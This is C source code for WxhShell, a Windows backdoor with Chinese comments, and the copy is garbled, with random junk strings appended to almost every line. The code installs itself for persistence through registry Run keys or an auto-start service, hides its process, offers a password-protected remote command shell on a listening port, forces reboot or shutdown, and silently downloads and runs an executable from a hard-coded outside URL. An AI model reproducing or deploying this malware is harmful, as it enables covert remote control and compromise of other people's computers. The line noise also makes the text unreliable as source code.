ULONG InheritedFromUniqueProcessId; J_[[BJ&}x
} PROCESS_BASIC_INFORMATION; ]zq_gV8k
PD
T\Q\J^X
PROCNTQSIP NtQueryInformationProcess; +-!|%jG`%v
Qhr]eu;z
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F3 l^^Mc
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dbUZGn~
|^k1hX2?W
HANDLE hProcess; 'GzhZ`E6
PROCESS_BASIC_INFORMATION pbi; L,A-G"z0Z
6L> "m0
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7@cvy?
v{
if(NULL == hInst ) return 0; \y )4`A
PLD'Q,R
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n`T[eb~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NDa|.,
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0G\myv
KJ^GUqVl
if (!NtQueryInformationProcess) return 0; =U7D}n
hS-
9H%xZ(`vN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L%O8vn^3
if(!hProcess) return 0; Fx99"3`3
>fj$wOq
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &|\}\+0Z
Vv)E41
CloseHandle(hProcess); [O+^eE6h
>\.[}th}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ODvpMt:+
if(hProcess==NULL) return 0; jG(~9P7
RGA*7
HMODULE hMod; 5m7Ax]\
char procName[255]; lvJ{=~u
unsigned long cbNeeded; I+d(r"N1
s&`XK$p
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hG;=ci3EE
y'O{8Q8T
CloseHandle(hProcess); 8U:dgXz
34^Cfh
if(strstr(procName,"services")) return 1; // 以服务启动 9c %Tv
^t
ldm7{_
return 0; // 注册表启动 Bpo68%dx89
} Cl.T'A$
{5IG3'
// 主模块 A}Dpw[Q2@8
int StartWxhshell(LPSTR lpCmdLine) 5YH
mp7c-z
{ wVJFA1
SOCKET wsl; Ahbu >LPk
BOOL val=TRUE; X|1YGZJ
int port=0; !K~$-jlT
struct sockaddr_in door; $(L7/M
Hpg;?xAT
if(wscfg.ws_autoins) Install(); b-zX3R;
/cen#pb
port=atoi(lpCmdLine); 1`_)%Y[ZJ
dsZ( D:)
if(port<=0) port=wscfg.ws_port; sK/"
i6:yNb ='
WSADATA data; <a[8;YQC
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XK-x*|
,wo"(E!4e
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; rPpAg
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Hf{%N'4
door.sin_family = AF_INET; ^|{fB,B
door.sin_addr.s_addr = inet_addr("127.0.0.1"); DMN H?6
door.sin_port = htons(port); (#iM0{
\\Tp40m+
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *`.{K12T
closesocket(wsl);
5g>kr<K
return 1; >b?)WNk
} z ;Nk& <?
R./ 6Q1
if(listen(wsl,2) == INVALID_SOCKET) { {1DYXKe
closesocket(wsl); jF_I4H
return 1; ",V5*1w
} 5m?$\h
Wxhshell(wsl); 32P ]0&_O
WSACleanup(); &*GX:0=/>
5w{pX1z1
return 0; A;x^6>
oz-I/g3go
} :=eUNH
8vW`E_n
// 以NT服务方式启动 0%NI-
Zyo
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VDY1F_Fk
{ )_K@ ?rWS
DWORD status = 0; \U>Kn_7m
DWORD specificError = 0xfffffff; E"&9FxS]^
jUSr t)o03
serviceStatus.dwServiceType = SERVICE_WIN32; >!.9g
serviceStatus.dwCurrentState = SERVICE_START_PENDING; |bnjC $b *
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XqH<)B
]
serviceStatus.dwWin32ExitCode = 0; AK?j1Pk
serviceStatus.dwServiceSpecificExitCode = 0; #zs\Z]3#
serviceStatus.dwCheckPoint = 0; dKpa5f7
serviceStatus.dwWaitHint = 0; 1^^D :tt
iRHQRdij
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H5 hUY'O
if (hServiceStatusHandle==0) return; P[ 8N58#
S`w)b'B!M
status = GetLastError(); S,RJ#.:F[t
if (status!=NO_ERROR) hO@3-SRa,k
{ M6#(F7hB
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0M+tKFb
serviceStatus.dwCheckPoint = 0; ~"Ki2'j)^]
serviceStatus.dwWaitHint = 0; L(8dK
serviceStatus.dwWin32ExitCode = status; uI&M|u:nT
serviceStatus.dwServiceSpecificExitCode = specificError; xR`2+t&t
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j pv,0(
return; E/']M~Q
} 6J+ZeBk??
9(j!#`O7&
serviceStatus.dwCurrentState = SERVICE_RUNNING; 6E]rxps}"
serviceStatus.dwCheckPoint = 0; zAUfd[g
serviceStatus.dwWaitHint = 0; TeqsP1{?
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q*(o;\s
} ? d\8Q't*
Ntiz-qW
// 处理NT服务事件,比如:启动、停止 x)L@xQ
VOID WINAPI NTServiceHandler(DWORD fdwControl) IyP].g1"U
{ X&Lt?e,&
switch(fdwControl) /Ql}jSKi
{ zUqDX{I8
case SERVICE_CONTROL_STOP: rSn7(3e4^
serviceStatus.dwWin32ExitCode = 0; q8>Q,F`BA
serviceStatus.dwCurrentState = SERVICE_STOPPED; |Wk
G='02
serviceStatus.dwCheckPoint = 0; <-}\V!@E!
serviceStatus.dwWaitHint = 0; C ,hsr
{ vrbh+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e*H$c?7NL
} Din)5CxFX
return; K^\9R
case SERVICE_CONTROL_PAUSE: qr6jn14.c
serviceStatus.dwCurrentState = SERVICE_PAUSED; */E{s?
break; fif<[Ax
case SERVICE_CONTROL_CONTINUE: _yUFe&
serviceStatus.dwCurrentState = SERVICE_RUNNING; [=+/
break; ^&HYnwk
case SERVICE_CONTROL_INTERROGATE: e,8-P-h~T
break; cC.DBYV+-
}; .vMi<U;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {8RGW0Y
} %A3Jd4DH
9#!tzDOtD
// 标准应用程序主函数 nT"z(\i.!J
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {+Yo&F}n
{ Dy!fwYPA/{
,RQ-w2j?
// 获取操作系统版本 >B7OTGw
OsIsNt=GetOsVer(); PK"
C+o;:
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'zK*?= ^jk
i;Y^}2
// 从命令行安装 n TG|Isa
if(strpbrk(lpCmdLine,"iI")) Install(); 8t%1x|!
a0.XJR{T"
// 下载执行文件 G\%hT5^
if(wscfg.ws_downexe) { 4+Y5u4`t
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \.]
U
WinExec(wscfg.ws_filenam,SW_HIDE); HrGX-6`
} =Frr#t!(w0
's<}@-]
if(!OsIsNt) { e{&gF1"[
// 如果时win9x,隐藏进程并且设置为注册表启动 3yN1cd"#?
HideProc(); BL67sva;
StartWxhshell(lpCmdLine);
sa* -B
} Gj 3/&'k6
else 'Iu(lpF&
if(StartFromService()) *OiHrI9y
// 以服务方式启动 0i"OG( ,
StartServiceCtrlDispatcher(DispatchTable); Xl;N=fc
else UB}mI0/w
// 普通方式启动 u:ISwAp
StartWxhshell(lpCmdLine); hM}2++V
z/b*]"g,
return 0; {NR~>=~K-
} 7~'@m(9e
G<'S
-eTGRr
JK4 @
=========================================== CR<l"~X
2dfA}i>k
h%%'{^>~
D#0}/
xXZN<<f59
S[M$>
" \X!!(Z;6A
0W> ",2|z
#include <stdio.h> ;q Z2V
#include <string.h> K#jm6Xh?E
#include <windows.h> )1/O_N6C
#include <winsock2.h> ^gG,}GTl
#include <winsvc.h> 3$Je,|bs
#include <urlmon.h> Vs
>1%$If
i^#RiCeo
#pragma comment (lib, "Ws2_32.lib") UWI5/R
#pragma comment (lib, "urlmon.lib") =E}/Z
_EP}el
#define MAX_USER 100 // 最大客户端连接数 I$$!YMm.N
#define BUF_SOCK 200 // sock buffer i+}M#Y-O
#define KEY_BUFF 255 // 输入 buffer ("Zi,3"+
-IE;5f#e
#define REBOOT 0 // 重启 d9s"y?8
#define SHUTDOWN 1 // 关机 _
0-YsD
tBrVg<]t
#define DEF_PORT 5000 // 监听端口 F~EriO
k.%F!sK
#define REG_LEN 16 // 注册表键长度 m`Z4#_s2
#define SVC_LEN 80 // NT服务名长度 8Xr"4;}f+
C}CX n X
// 从dll定义API R##O9BSI8Z
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y03l_E,
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HM/ qB^
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WVZ\4y
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n):VuOjm
Ap/WgVw;
// wxhshell配置信息 D+OkD-8q
struct WSCFG { gIeo7>u
int ws_port; // 监听端口 [eImP
V]
char ws_passstr[REG_LEN]; // 口令 \gdd
int ws_autoins; // 安装标记, 1=yes 0=no Z,*VRuA
char ws_regname[REG_LEN]; // 注册表键名 ; ?!sU
char ws_svcname[REG_LEN]; // 服务名 OX91b<A
char ws_svcdisp[SVC_LEN]; // 服务显示名 J#\/znT
char ws_svcdesc[SVC_LEN]; // 服务描述信息 gb-n~m[y
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a`}-^;}SW
int ws_downexe; // 下载执行标记, 1=yes 0=no !T}`h'
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7r>^_ aW
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ex<loVIrP$
I8m(p+Z=
}; /Mv'fich(
m{~r6@
// default Wxhshell configuration YV+e];s
struct WSCFG wscfg={DEF_PORT, B6BOy~B0
"xuhuanlingzhe", QFMS]
1, ZEW`?6
"Wxhshell", K|iNEhuc
"Wxhshell", rS=6d6@
"WxhShell Service", B$)KZR(u
"Wrsky Windows CmdShell Service", `+U-oqs
"Please Input Your Password: ", 3'8~H]<W
1, 7\.5G4dr%
"http://www.wrsky.com/wxhshell.exe", [*Lh4K
"Wxhshell.exe" l!
GPOmf9`
}; aD.A +e s
kHJjdgV
// 消息定义模块 GE>&fG
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;I9D>shkc
char *msg_ws_prompt="\n\r? for help\n\r#>"; H=0Y4 T@)T
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [.2>=3T
char *msg_ws_ext="\n\rExit."; O?P6rXKr
char *msg_ws_end="\n\rQuit."; f.!cR3XgV
char *msg_ws_boot="\n\rReboot..."; 74Lq!e3hMF
char *msg_ws_poff="\n\rShutdown..."; h-<+Pj c
char *msg_ws_down="\n\rSave to "; qu?D`29
)9}z^+TH
char *msg_ws_err="\n\rErr!"; }RXm=ArN
char *msg_ws_ok="\n\rOK!"; dme_Ivt
"F=O
char ExeFile[MAX_PATH]; _]B'C
int nUser = 0; 5'X.Z:
HANDLE handles[MAX_USER]; rKO[;]_*
int OsIsNt; ur;8uv2o
&Oe,$%{hBh
SERVICE_STATUS serviceStatus; $ #CkI09
SERVICE_STATUS_HANDLE hServiceStatusHandle; VQ+Xh
%.]qkGZe#
// 函数声明 ~GZ(Ou-&
int Install(void); y8\44WKW
int Uninstall(void); &",pPuq
int DownloadFile(char *sURL, SOCKET wsh); OfPWqNpO
int Boot(int flag); %N 2=: ;f
void HideProc(void); ?]:3`;h3
int GetOsVer(void); ^;L;/I[-
int Wxhshell(SOCKET wsl); \MnlRBUM,
void TalkWithClient(void *cs); ^27r-0|l^
int CmdShell(SOCKET sock); ?>2k>~xlQ
int StartFromService(void); hW(Mf
int StartWxhshell(LPSTR lpCmdLine); m!g
f!
vFQ'sd]C
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b?y3m +V`
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +g(QF
>xT8[
// 数据结构和表定义 E#J+.&2
SERVICE_TABLE_ENTRY DispatchTable[] = -|g~--@Q
{ 0C7x1:
{wscfg.ws_svcname, NTServiceMain}, G"wy?
{NULL, NULL} 8dP^zjPj
}; yKi* 8N"e<
^dQ#\uy
// 自我安装 $P>ci4]t
int Install(void) 60Y&)UR
{ gz8<&*2
char svExeFile[MAX_PATH]; @`)A)
HKEY key; gE|_hfm(
strcpy(svExeFile,ExeFile); kf';"
oGa8}Vtc
// 如果是win9x系统,修改注册表设为自启动 8@Pv
nOL
if(!OsIsNt) { "+p_{J/P
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b3W@{je
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;:f.a(~c
RegCloseKey(key); ;8H
m#p7,
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tw=Jc 's
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NeQ/#[~g
RegCloseKey(key); ,'[0tl}8K
return 0; >A#]60w.
} @jX[Ho0W'
} !M6*A1g5
} S-GcH
else { &;|/I`+
LJ9^:U
// 如果是NT以上系统,安装为系统服务 XB
zcbS+
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .cjSgK1
if (schSCManager!=0) z.--"cF
{ Ov h[qm?Z
SC_HANDLE schService = CreateService )bXiw3'A
( fQM:NI?9?
schSCManager, '`I&g8I\
wscfg.ws_svcname,
a?_N8|k[
wscfg.ws_svcdisp, 6|L<?
X
SERVICE_ALL_ACCESS, >2TDYB|;
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^ 14U]<
SERVICE_AUTO_START, NZ7g}+GTG
SERVICE_ERROR_NORMAL, m\RU|Z
svExeFile, s7[du_)
NULL, GG-7YJ
NULL, `;L>[\Xi
NULL, JdF;*`_7*
NULL, ycTX\.KV
NULL /0IvvD!7N
); nD6NLV%2x
if (schService!=0) wknX\,`Q
{ S{&,I2aO
CloseServiceHandle(schService); W$=Ad *
CloseServiceHandle(schSCManager); . _Bejh
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N*y09?/h
strcat(svExeFile,wscfg.ws_svcname); E0[ec6^qwY
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q,(U 8
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]yy10Pk[!
RegCloseKey(key); >+ulLQqe
return 0; Q/xT>cUd
} /_rEI,[k
} ]c4?-Vq%u
CloseServiceHandle(schSCManager); Dk[m)]w\
} 9!&fak_
} Gm~jC <
ErnjIx:
return 1; ;EDc1:
} ~.;+uH<i
<b!nI
N
// 自我卸载 qbrY5;U
int Uninstall(void) 5)bf$?d
{ ZCVwQ#Xe+
HKEY key; yhxen
%5Q5xw]w3
if(!OsIsNt) { p=sLKnLmZ
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+uZ,}J
RegDeleteValue(key,wscfg.ws_regname); Sc#B-4m
RegCloseKey(key); kK\G+{z?
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N8S!&*m
RegDeleteValue(key,wscfg.ws_regname); 9.)*z-f$
RegCloseKey(key); '#pY/,hVB
return 0; Myaj81
} o_R<7o/d|
} 'RZ=A+% X
} Oh)s"f\N
else { (xxNQ]
l-(
RvrZtg5
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HtY0=r
if (schSCManager!=0) _kGJqyYV
{ }ya@*jH
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5G
@
if (schService!=0) s F-{(
{ P&I%!'<
if(DeleteService(schService)!=0) { A@M%}h
CloseServiceHandle(schService); 4j+FDc`
CloseServiceHandle(schSCManager); ])Rs.Y{Q5
return 0; JWQd/
} 5yBaxw`
CloseServiceHandle(schService); qM}Uk3N0
} ;r<(n3"F
CloseServiceHandle(schSCManager); b/;!yOF
} +c'b=n9j
} uzG{jc^
KT'Ebb]
return 1; gJ;jh7e@
} PY.4J4nn|
IY_u|7d
// 从指定url下载文件 ^K[WFi N}
int DownloadFile(char *sURL, SOCKET wsh) k+qxx5{
{ F9h'.{@d
HRESULT hr; }#'I,?_k
char seps[]= "/"; ^jY/w>UdH
char *token; FVY$A=G
char *file; b~$B0o)
char myURL[MAX_PATH]; $r> $
u
char myFILE[MAX_PATH]; 0
]K\G55
3%HF" $Gg
strcpy(myURL,sURL); ,zXP,(x
token=strtok(myURL,seps); Yvmo%.oU
while(token!=NULL) PH!^ww6
{ (S<Z@y+d
file=token; j<,Ho4v}_
token=strtok(NULL,seps); ly_@dsU'
} i*ibx;s-
Z:_ wE62'
GetCurrentDirectory(MAX_PATH,myFILE); !W\Zq+^^J3
strcat(myFILE, "\\"); cl\Gh
strcat(myFILE, file); pX 4:WV
send(wsh,myFILE,strlen(myFILE),0); ,EsPm'`?A/
send(wsh,"...",3,0); b{+7sl
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U-h'a:
K
if(hr==S_OK) |aWeo.;c
return 0; *aem5E`c
else ^lw0}
i
return 1; 3jeB\
Gz09#nFZk
} C6<*'5T
hKx*V"7/#\
// 系统电源模块 _.}1 Y,Q
int Boot(int flag) :2v^pg|
{ 8)KA {gN}
HANDLE hToken; BIJlU(aF
TOKEN_PRIVILEGES tkp; y"bSn5B[
p-CBsm5P
if(OsIsNt) { \}:RG^*m
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }8lvi
vR4
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nO;*Peob
tkp.PrivilegeCount = 1; O\~/J/u
<
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _R/^P>Q?
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D6Q6yNE
if(flag==REBOOT) { 5>S=f{ghFw
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ng0tNifZ;
return 0; pYxdE|2j
} A,H|c="
else { _0GM!Cny
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aB$xQ|~
return 0; mKTa.
} k_,wa]ws$
} <]w(1{q(
else { Sh@en\m=#S
if(flag==REBOOT) { k'6Poz+<
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5u:{lcC.X
return 0; 4Y'Kjx
} /7`fg0A
else { 'gD,HX
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1J{1>r
return 0; $T#yxx
} UZ*Yt
} *m>XtBw.
C<G`wXlP|
return 1; M= ]]kJ:I
} M"W~%
LK>J]p
// win9x进程隐藏模块 u*h+c8|zI
void HideProc(void) >du _/*8:
{ \>7hT;Av=G
hRc.^"q9
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )8,) &F
if ( hKernel != NULL ) Sd9%tO9mf
{ (>)f#t[9J
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U%PII>s'#
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~#]$YoQ&O
FreeLibrary(hKernel); %C1*`"Jb&
} ZH
s' #
<T^:`p/]4
return; I\y=uC
} Zqp<8M2
.a@>1XO
// 获取操作系统版本 8T]x4JQ0
int GetOsVer(void) pD@2Mt0|]=
{ n[f<]4<
OSVERSIONINFO winfo; IncHY?ud<